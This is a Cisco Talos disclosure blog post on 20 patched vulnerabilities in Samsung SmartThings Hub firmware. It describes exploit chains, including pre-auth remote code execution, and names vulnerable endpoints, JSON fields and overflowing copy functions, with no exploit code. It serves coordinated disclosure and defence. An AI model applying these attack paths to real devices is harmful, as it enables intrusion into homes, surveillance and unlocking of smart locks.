\n\n\n[](<https://1.bp.blogspot.com/-EpfSuPzKiK4/W1ndlFTR_TI/AAAAAAAAAso/4Qz9v5BiGK0ANTzmbLjzcPIWYI3BQPoyACLcBGAs/s1600/image1.png>)\n\n \n \n\n\n## Executive Summary\n\n \nCisco Talos recently discovered several vulnerabilities present within the firmware of the Samsung SmartThings Hub. In accordance with our coordinated disclosure policy, Cisco Talos has worked with Samsung to ensure that these issues have been resolved and that a [firmware update](<https://support.smartthings.com/hc/en-us/articles/207316543-Is-my-Hub-s-firmware-up-to-date->) has been made available for affected [customers](<https://community.smartthings.com/t/hub-firmware-release-notes-22-13/129936>). These vulnerabilities could allow an attacker to execute OS commands or other arbitrary code on affected devices. \n \nThe SmartThings Hub is a central controller that monitors and manages various internet-of-things (IoT) devices such as smart plugs, LED light bulbs, thermostats, cameras, and [more](<https://www.smartthings.com/products>) that would typically be deployed in a smart home. The SmartThings Hub functions as a centralized controller for these devices and allows users to remotely connect to and manage these devices using a smartphone. The firmware running on the SmartThings Hub is Linux-based and allows for communications with IoT devices using a variety of different technologies such as Ethernet, Zigbee, Z-Wave and Bluetooth. \n \nGiven that these devices often gather sensitive information, the discovered vulnerabilities could be leveraged to give an attacker the ability to obtain access to this information, monitor and control devices within the home, or otherwise perform unauthorized activities. Some example scenarios are listed below: \n \n\n\n * Smart locks controlled by the SmartThings Hub could be unlocked, allowing for physical access to the home.\n * Cameras deployed within the home could be used to remotely monitor occupants.\n * The motion detectors used by the home alarm system could be disabled.\n * Smart plugs could be controlled to turn off or on different things that may be connected.\n * Thermostats could be controlled by unauthorized attackers.\n * Attackers could cause physical damage to appliances or other devices that may be connected to smart plugs deployed within the smart home. \n \nGiven the wide range of possible deployments of these devices, this is not a complete list of different scenarios. Cisco Talos recommends ensuring that affected SmartThings Hubs are updated to the latest version of firmware to ensure that these vulnerabilities are addressed. \n \n\n\n## Exploitation\n\n \nIn total, Talos found 20 vulnerabilities in the Samsung SmartThings Hub. These vulnerabilities vary in the level of access required by an attacker to exploit them and the level of access they give an attacker. In isolation, some of these might be hard to exploit, but together they can be combined into a significant attack on the device. While we discuss all 20 of these vulnerabilities later in this blog post, in this section we will discuss how an attacker can chain together three vulnerability classes that are present in the device to gain complete control of the device. \n \n\n\n### Chains\n\n \nIt is possible to gather the set of preconditions needed to exploit bugs that would otherwise be unreachable by using multiple vulnerabilities. This is commonly referred to as \"chaining.\" When considering the severity of vulnerabilities, it is essential to keep in mind that they might be used as part of a chain, as this would significantly elevate their severity. \n \nWe identified three notable chains, the last of which allows for remotely compromising the device without prior authentication: \n \n\n\n#### A\n\n \nRemote code execution: TALOS-2018-0556 describes a post-auth vulnerability that allows for the execution of arbitrary SQL queries against a database inside the device. When used alone, it only allows for altering the whole database. However, TALOS-2018-0557, TALOS-2018-0576, TALOS-2018-0581 and TALOS-2018-0583 describe a set of memory corruption vulnerabilities that allow for executing arbitrary code, assuming the attacker is capable of issuing arbitrary SQL queries. Since TALOS-2018-0556 provides this capability, they can be chained together to achieve code execution from the network. Note, however, that this list is not exhaustive, as other combinations may be viable. \n \n\n\n#### B\n\n \nRemote information leakage: TALOS-2018-0556 can also be used to create an empty file anywhere inside the device. As described in TALOS-2018-0593, the existence of an empty file at path \"/hub/data/hubcore/stZigbee\" will make the \"hubCore\" process to crash. Moreover, as described in TALOS-2018-0594, when the \"hubCore\" process crashes, it triggers an information leak that can be captured from the network. By chaining these 3 vulnerabilities in order, an attacker can obtain a memory dump of the `hubCore` process, which contains most of the core logic, and consequent sensitive information, of the Hub. \n \n\n\n#### C\n\n \nPre-auth remote code execution: TALOS-2018-0578 describes a vulnerability that allows for injecting semi-controlled HTTP requests to the internal `video-core` process, from the network and without prior authentication. Since the injected requests are not completely controllable, TALOS-2018-0577 can be chained (using all its 3 CVEs together) to further refine the injected HTTP request: TALOS-2018-0577 shows how to modify the method, path, and body components of an HTTP request, by exploiting a bug while handling HTTP pipelining. Finally the chain could end with TALOS-2018-0573, which exploits a buffer overflow on the stack by sending a local HTTP request to the `video-core` process. By chaining these 3 vulnerabilities together, an attacker can compromise the device remotely without prior authentication. Note that other similar vulnerabilities could be used as the last element of the chain. However, they might be more complex to implement. \n \n\n\n### Attack vectors\n\n \nChain C can be executed without prior authentication. Chains A and B, however, as well as the majority of the vulnerabilities reported, have different preconditions depending on the attack vector. \n \nTo understand the attack surface, it is useful to note that there is a trust relationship between the SmartThings Hub and the remote servers that it communicates with. This allows for the remote monitoring and management of the smart home via a smartphone application, as well as for the addition of custom features to make the Hub compatible with other, non-officially supported devices. \n \nIn the scope of the vulnerabilities that we reported, we identified multiple notable attack vectors: \n \n\n\n#### X\n\n \nAnyone owning a valid OAuth bearer token, or the relative username and password pair to obtain it, can talk to the remote SmartThings servers as an authenticated user. At this stage, an attacker could exploit some of the bugs that we reported, as demonstrated in TALOS-2018-0539. \n \n\n\n#### Y\n\n \nThird-party developers can write a \"SmartApp\" to make unknown hardware able to transparently communicate with the hub. SmartApps can be either published on the public marketplace or exist exclusively on the developer's hub. Since SmartApps are supposed to communicate with unsupported hardware, they need a way to send network messages. In fact, a SmartApp can instruct the Hub to perform network connections on its behalf. These network messages are sent by the remote SmartThings servers (which are where the SmartApp is actually executed) and sent to the Hub. Internally, these connections are performed by the `hubCore` process. \n \nThis has the side effect of giving SmartApps the power to communicate with localhost-bound services, such as `video-core`, which wouldn't otherwise be reachable. \n \nThus, the existence of SmartApps make chains A and B, as well as any `video-core` vulnerability, exploitable without authentication, but with the requirement of having a custom SmartApp enabled on the device. \n \n\n\n#### Z\n\n \nAnyone able to impersonate the remote SmartThings servers can talk to the `hubCore` process in the hub, which in turn allows an attacker to talk directly to the `video-core` process and exploit any of its bugs. Note that the SmartThings server that communicates with the Hub is not supposed to be able to run arbitrary code on it, as is proven by the fact that firmware update packages, although sent over this same TLS connections, are encrypted and authenticated, and likely packaged by a different, more privileged, machine. \n \n\n\n## Vulnerability Details\n\n \n**Samsung SmartThings Hub RTSP Password Command Injection Vulnerability (TALOS-2018-0539 / CVE-2018-3856)** \n \nThe Samsung SmartThings Hub can be used to register, configure, and view the video stream from various IP cameras. The smart hub also provides users the ability to modify the camera's password, which is then stored by `video-core` in an internal database. Accessing the camera's video feed causes the camera to invoke the `ffmpeg` command using the `camera-password` parameter that is retrieved from this database. By including a space character in the camera password, an attacker could cause the `ffmpeg` binary to be launched with attacker-controlled command-line options. These options could be used to execute arbitrary system commands. TALOS-2018-0539 has been assigned CVE-2018-3856. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0539/>). \n \n**Samsung SmartThings Hub video-core samsungWifiScan Code Execution Vulnerability (TALOS-2018-0548 / CVE-2018-3863 - CVE-2018-3866)** \n \nMultiple buffer overflow vulnerabilities exist within the samsungWifiScan handler of the `video-core` HTTP server used by the SmartThings Hub. An attacker could send specially crafted HTTP POST requests to affected devices to exploit this vulnerability. This vulnerability manifests due to the SmartThings hub improperly processing user-controlled JSON that is submitted as part of an HTTP POST request to /samsungWifiScan. The values of the `user`, `password`, `cameraIp`, and `callbackUrl` keys can be used to trigger these vulnerabilities as this data is transferred to a destination buffer in memory using `strcpy` without first checking the size of the destination buffer, resulting in an overflow condition. TALOS-2018-0548 has been assigned CVE-2018-3863 through CVE-2018-3866. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0548/>). \n \n**Samsung SmartThings Hub video-core samsungWifiScan Callback Code Execution Vulnerability (TALOS-2018-0549 / CVE-2018-3867)** \n \nAn exploitable buffer overflow vulnerability exists within the Samsung WifiScan callback notification functionality present within the `video-core` HTTP server used by the SmartThings Hub. An attacker could send specially crafted HTTP POST requests to affected devices to exploit this vulnerability. This vulnerability manifests due to the SmartThings hub incorrectly processing communications received from smart cameras during the smart camera discovery process. An attacker could host specially crafted HTTP contents using an HTTP server that could be used to trigger this vulnerability. During the smart camera registration process, the SmartThings Hub will attempt to retrieve these contents from the host specified. The retrieved contents are then transferred using `sprintf` without first checking the size of the destination buffer. This vulnerability could be exploited to execute arbitrary code. TALOS-2018-0549 has been assigned CVE-2018-3867. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0549/>). \n \n**Samsung SmartThings Hub video-core credentials videoHostUrl Code Execution Vulnerability (TALOS-2018-0554 / CVE-2018-3872)** \n \nMultiple exploitable buffer overflow vulnerabilities exist within the `credentials` handler of `video-core` HTTP server used by the SmartThings Hub. An attacker could send a specially crafted HTTP POST request to affected devices to exploit this vulnerability. This vulnerability manifests due to the SmartThings Hub improperly processing user-controlled JSON that is submitted as part of a POST request to `/credentials`. The value of the `videoHostUrl` key can be used to trigger this vulnerability, as the data contained within this key is transferred to a destination buffer in memory without first checking the size of the destination buffer, resulting in an overflow condition. TALOS-2018-0554 has been assigned CVE-2018-3872. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0554/>). \n \n**Samsung SmartThings Hub video-core credentials Code Execution Vulnerability (TALOS-2018-0555 / CVE-2018-3873 - CVE-2018-3878)** \n \nMultiple exploitable buffer overflow vulnerabilities exist within the `credentials` handler of the `video-core` HTTP server used by the SmartThings Hub. An attacker could send a specially crafted HTTP POST request to affected devices to exploit this vulnerability. These vulnerabilities manifest due to the SmartThings Hub improperly processing user-controlled JSON that is submitted as part of a POST request to `/credentials`. The values of the `secretKey`, `accessKey`, `sessionToken`, `bucket`, `directory`, and `region` keys can be used to trigger these vulnerabilities, as the data contained within those keys is transferred to a destination buffer in memory using `strncpy` without first checking the size of the destination buffer, resulting in an overflow condition. TALOS-2018-0555 has been assigned CVE-2018-3873 through CVE-2018-3878. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0555/>). \n \n**Samsung SmartThings Hub video-core credentials Parsing SQL Injection Vulnerability (TALOS-2018-0556 / CVE-2018-3879)** \n \nA SQL injection vulnerability exists within the `credentials` handler of the `video-core` HTTP server used by the SmartThings Hub. An attacker could send specially crafted HTTP POST requests to affected devices to exploit this vulnerability. This vulnerability manifests due to the SmartThings Hub improperly processing user-controlled JSON that is submitted as part of a POST request to `/credentials`. The SmartThings Hub allows for the changing of credentials that the hub uses when connecting to other devices. This process includes an HTTP POST request containing JSON which is made up of all of the parameters required to change the credentials. This information is not properly sanitized prior to being stored in an internal SQLite database. By including JSON and SQL syntax within this request, it is possible to trigger a JSON injection that, in turn, triggers a SQL injection condition. TALOS-2018-0556 has been assigned CVE-2018-3879. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0556/>). \n \n**Samsung SmartThings Hub video-core Database find-by-cameraId Code Execution Vulnerability (TALOS-2018-0557 / CVE-2018-3880)** \n \nAn exploitable buffer overflow vulnerability exists within the database 'find-by-cameraId' functionality present within the `video-core` HTTP server used by the Samsung SmartThings hub. An attacker could send specially crafted HTTP requests to affected devices to exploit this vulnerability. This vulnerability manifests due to the `video-core` process incorrectly handling records present within the SQLite database it uses. After first adding a camera to the 'camera table' of the SQLite database along with overly long camera information, an attacker can trigger this vulnerability by sending a specially crafted HTTP DELETE request specifying the camera that was previously added, causing an overflow condition.. This works due to a lack of restriction on the data that was pulled in during the database lookup for the camera. TALOS-2018-0557 has been assigned CVE-2018-3880. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0557/>). \n \n**Samsung SmartThings Hub video-core clips Code Execution Vulnerability (TALOS-2018-0570 / CVE-2018-3893 - CVE-2018-3897)** \n \nMultiple exploitable buffer overflow vulnerabilities exist within the `/cameras/XXXX/clips` handler present in the `video-core` HTTP server used by the Samsung SmartThings Hub. An attacker could send specially crafted HTTP POST requests to affected devices to exploit these vulnerabilities. These vulnerabilities manifest due to the SmartThings Hub improperly processing user-controlled JSON that is submitted as part of a POST request to \"/cameras/<camera-id>/clips.\" The values of the 'captureTime', 'startTime', 'endTime', 'correlationId', and 'callbackUrl' keys can be used to trigger these vulnerabilities, as the data contained within those keys is transferred to a destination buffer using `strncpy` without first checking the size of the destination buffer, resulting in an overflow condition. TALOS-2018-0570 has been assigned CVE-2018-3893 through CVE-2018-3897. For additional information please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0570/>). \n \n**Samsung SmartThings Hub video-core Camera URL Replace Code Execution Vulnerability (TALOS-2018-0573 / CVE-2018-3902)** \n \nAn exploitable buffer overflow vulnerability exists within the camera \"replace\" feature present within the `video-core` HTTP server used by the Samsung SmartThings hub. An attacker could send specially crafted HTTP requests to affected devices to exploit this vulnerability. This vulnerability manifests due to the SmartThings Hub improperly processing user-controlled JSON that is submitted as part of an HTTP PUT request to \"/cameras/<camera-id>.\" The value of the 'url' key can be used to trigger this vulnerability as the data contained within this key is transferred to a destination buffer using `memcpy` without first checking the size of the destination buffer, resulting in an overflow condition. TALOS-2018-0573 has been assigned CVE-2018-3902. For additional information please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0573/>). \n \n**Samsung SmartThings Hub video-core Camera Update Code Execution Vulnerabilities (TALOS-2018-0574 / CVE-2018-3903 - CVE-2018-3904)** \n \nMultiple exploitable buffer overflow vulnerabilities exist within the camera \"update\" feature present within the `video-core` HTTP server used by the SmartThings Hub. An attacker could send specially crafted HTTP requests to affected devices to exploit these vulnerabilities. These vulnerabilities manifest due to the SmartThings hub improperly processing user-controlled JSON that is submitted as part of a PATCH request to \"/cameras/<camera-id>.\" The values of the 'url' or 'state' keys can be used to trigger these vulnerabilities as the data contained within these keys is transferred to a destination buffer using `memcpy` without first checking the size of the destination buffer, resulting in an overflow condition. TALOS-2018-0574 has been assigned CVE-2018-3903 and CVE-2018-3904. For additional information please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0574/>). \n \n**Samsung SmartThings Hub video-core Camera Creation Code Execution Vulnerability (TALOS-2018-0575 / CVE-2018-3905)** \n \nAn exploitable buffer overflow vulnerability exists within the camera \"create\" feature present within the `video-core` HTTP server used by the Hub. An attacker could send specially crafted HTTP requests to affected devices to exploit this vulnerability. This vulnerability manifests due to the SmartThings hub improperly processing user-controlled JSON that is submitted as part of a POST request to \"/cameras.\" The value of the \"state\" key can be used to trigger this vulnerability as the data contained within this key is transferred to a destination buffer using `memcpy` without first checking the size of the destination buffer, resulting in an overflow condition. TALOS-2018-0575 has been assigned CVE-2018-3905. For additional information please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0575/>). \n \n**Samsung SmartThings Hub video-core Database shard.videoHostURL Code Execution Vulnerability (TALOS-2018-0576 / CVE-2018-3906)** \n \nAn exploitable stack-based buffer overflow vulnerability exists within the retrieval of a database field within the `video-core` HTTP server used by the SmartThings Hub. An attacker could send a specially crafted HTTP request to affected devices to exploit this vulnerability. This vulnerability manifests due to the `video-core` HTTP server improperly extracting the \"shard.videoHostURL\" field from its SQLite database, causing a stack-based buffer overflow condition. To exploit this vulnerability, an attacker would need to modify the value of this field in the SQLite database. This could be accomplished by leveraging TALOS-2018-0556. TALOS-2018-0576 has been assigned CVE-2018-3906. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0576/>). \n \n**Samsung SmartThings Hub video-core REST Request Parser HTTP Pipelining Injection Vulnerabilities (TALOS-2018-0577 / CVE-2018-3907 - CVE-2018-3909)** \n \nMultiple exploitable vulnerabilities exist within the REST parser present within the `video-core` HTTP server. An attacker could send specially crafted HTTP requests to affected devices to exploit these vulnerabilities. These vulnerabilities manifest due to the SmartThings Hub incorrectly handling pipelined HTTP requests. These vulnerabilities could allow an attacker to overwrite the methods and contents of an HTTP request in order to insert malicious data for a variety of different reasons. These vulnerabilities could be leveraged along with other vulnerabilities to further maximize the attacker's impact on affected devices. TALOS-2018-0577 has been assigned CVE-2018-3907 through CVE-2018-3909. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0577/>). \n \n**Samsung SmartThings Hub hubCore Port 39500 HTTP Header Injection Vulnerability (TALOS-2018-0578 / CVE-2018-3911)** \n \nAn exploitable HTTP header injection vulnerability exists within the communications present between the Hub and the remote servers it communicates with. An attacker could send a specially crafted HTTP request to affected devices to exploit this vulnerability. This vulnerability is present within the JSON processing performed by the `hubCore` binary present within the SmartThings hub and could be combined with other vulnerabilities present within affected devices to achieve code execution. TALOS-2018-0578 has been assigned CVE-2018-3911. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0578/>). \n \n**Samsung SmartThings Hub video-core Database shard Code Execution Vulnerabilities (TALOS-2018-0581 / CVE-2018-3912 - CVE-2018-3917)** \n \nMultiple exploitable stack-based buffer overflow vulnerabilities exist within the retrieval of database fields within the `video-core` HTTP server used by the Samsung SmartThings hub. An attacker could send specially crafted HTTP requests to affected devices to exploit these vulnerabilities. These vulnerabilities manifest due to the `video-core` HTTP server improperly extracting the contents of several fields from its SQLite database, causing a stack-based buffer overflow condition. To exploit these vulnerabilities, an attacker would need to modify the value of these fields within the SQLite database. This could be accomplished by leveraging TALOS-2018-0556. TALOS-2018-0581 has been assigned CVE-2018-3912 through CVE-2018-3917. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0581/>). \n \n**Samsung SmartThings Hub hubCore Port 39500 Sync Denial Of Service Vulnerability (TALOS-2018-0582 / CVE-2018-3918)** \n \nA vulnerability exists within the communications between the Samsung SmartThings Hub and the remote servers it communicates with. This vulnerability is present within the \"sync\" operation used to determine which cameras should be managed by the Hub. An attacker could send specially crafted HTTP requests to affected devices to exploit this vulnerability. Due to the lack of proper authentication, a remote attacker could leverage this trust relationship to delete cameras that should otherwise be managed by the SmartThings hub. TALOS-2018-0582 has been assigned CVE-2018-3918. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0582/>). \n \n**Samsung SmartThings Hub video-core Database clips Code Execution Vulnerability (TALOS-2018-0583 / CVE-2018-3919)** \n \nAn exploitable stack-based buffer overflow vulnerability exists within the retrieval of database fields in the `video-core` HTTP server used by the Hub. An attacker could send specially crafted HTTP requests to affected devices to exploit this vulnerability. This vulnerability manifests due to the `video-core` server not properly processing and extracting the fields from the \"clips\" table within its SQLite database. Leveraging TALOS-2018-0556, an attacker could arbitrarily insert a \"captureTime\" value within this table that exceeds the maximum size expected by the Hub, which results in a buffer overflow condition due to the lack of proper enforcement of this maximum size value. TALOS-2018-0583 has been assigned CVE-2018-3919. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0583/>). \n \n**Samsung SmartThings Hub video-core AWSELB Cookie Code Execution Vulnerability (TALOS-2018-0591 / CVE-2018-3925)** \n \nAn exploitable buffer overflow vulnerability exists within the the remote video-host communication that is present within the `video-core` HTTP server used by the Samsung SmartThings Hub. An attacker could send specially crafted HTTP requests to affected devices to exploit this vulnerability. This vulnerability manifests due to the `video-core` server not properly handling the contents of AWSELB cookies. The cookie value that is obtained from the remote video-host servers is copied to a destination buffer without first checking the length of the cookie value leading to a buffer overflow condition. TALOS-2018-0591 has been assigned CVE-2018-3925. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0591/>). \n \n**Samsung SmartThings Hub hubCore ZigBee firmware update CRC16 check Denial of Service Vulnerability (TALOS-2018-0593 / CVE-2018-3926)** \n \nAn exploitable integer underflow vulnerability exists within the ZigBee firmware update process present within the `hubCore` binary used by the SmartThings Hub. An attacker could create a specially crafted file present within the \"data\" directory used by this process to create an infinite loop that ultimately crashes the service. Due to a logic error present within the ZigBee firmware update process that takes place on the SmartThings Hub, an attacker could leverage TALOS-2018-0556 to upload a specially crafted file that causes the process to continuously loop until a crash occurs. TALOS-2018-0593 has been assigned CVE-2018-3926. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0593/>). \n \n**Samsung SmartThings Hub hubCore Google Breakpad backtrace.io information disclosure vulnerability (TALOS-2018-0594 / CVE-2018-3927)** \n \nAn exploitable information disclosure vulnerability exists within the exception handler present within the `hubCore` binary used by the SmartThings Hub. The Hub currently leverages Google Breakpad for the purpose of creating minidumps in situations where a crash is encountered. After these minidumps are created by the Hub, they are transmitted to a remote service (backtrace.io) for analysis via the \"curl\" utility, which is configured to leverage the \"-k\" switch for this data transmission. This insecure switch allows curl to establish a connection with a remote server that responds with a self-signed SSL certificate. An attacker with the ability to impersonate the remote server could intercept this minidump using a self-signed certificate in order to extract sensitive process data. TALOS-2018-0594 has been assigned CVE-2018-3927. For additional information, please see the advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0594/>). \n \n\n\n## Versions Tested\n\n \nTalos has tested and confirmed that the following Samsung SmartThings Hub firmware versions are affected: \n \nSamsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17 \n \n\n\n[](<https://community.smartthings.com/t/hub-firmware-release-notes-22-13/129936>)\n\n \n\n\n## Conclusion\n\n \nWhile devices such as the SmartThings Hub are typically deployed to provide additional convenience and automation to users, special consideration must be made to ensure that they are configured securely, and updated when new firmware updates are made available by the manufacturer. Given that these devices can be deployed in many different scenarios, the impact of a successful attack against them could be severe. Talos recommends that these devices are updated as quickly as possible. As Samsung pushes updates out to devices automatically, this should not require manual intervention in most cases. It is important to verify the updated version has actually been applied to devices to ensure that they are no longer vulnerable. Samsung has released a firmware update that resolves these issues. An advisory related to these vulnerabilities can be found [here](<https://community.smartthings.com/t/hub-firmware-release-notes-22-13/129936>). \n \n\n\n## Coverage\n\n \nThe following Snort rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org. \n \nSnort Rules: 45891, 46079, 46090, 46149, 46150-46155, 46211, 46217, 46296, 46319, 46320, 46321, 46390 - 46392, 46395, 46543, 46661 \n \n", "modified": "2018-07-26T15:08:28", "published": "2018-07-26T08:06:00", "id": "TALOSBLOG:C43B50426AB38F387C3D552DDC02AB1A", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/A9_LjVoW_m0/samsung-smartthings-vulns.html", "type": "talosblog", "title": "Vulnerability Spotlight: Multiple Vulnerabilities in Samsung SmartThings Hub", "cvss": {"score": 0.0, "vector": "NONE"}}]}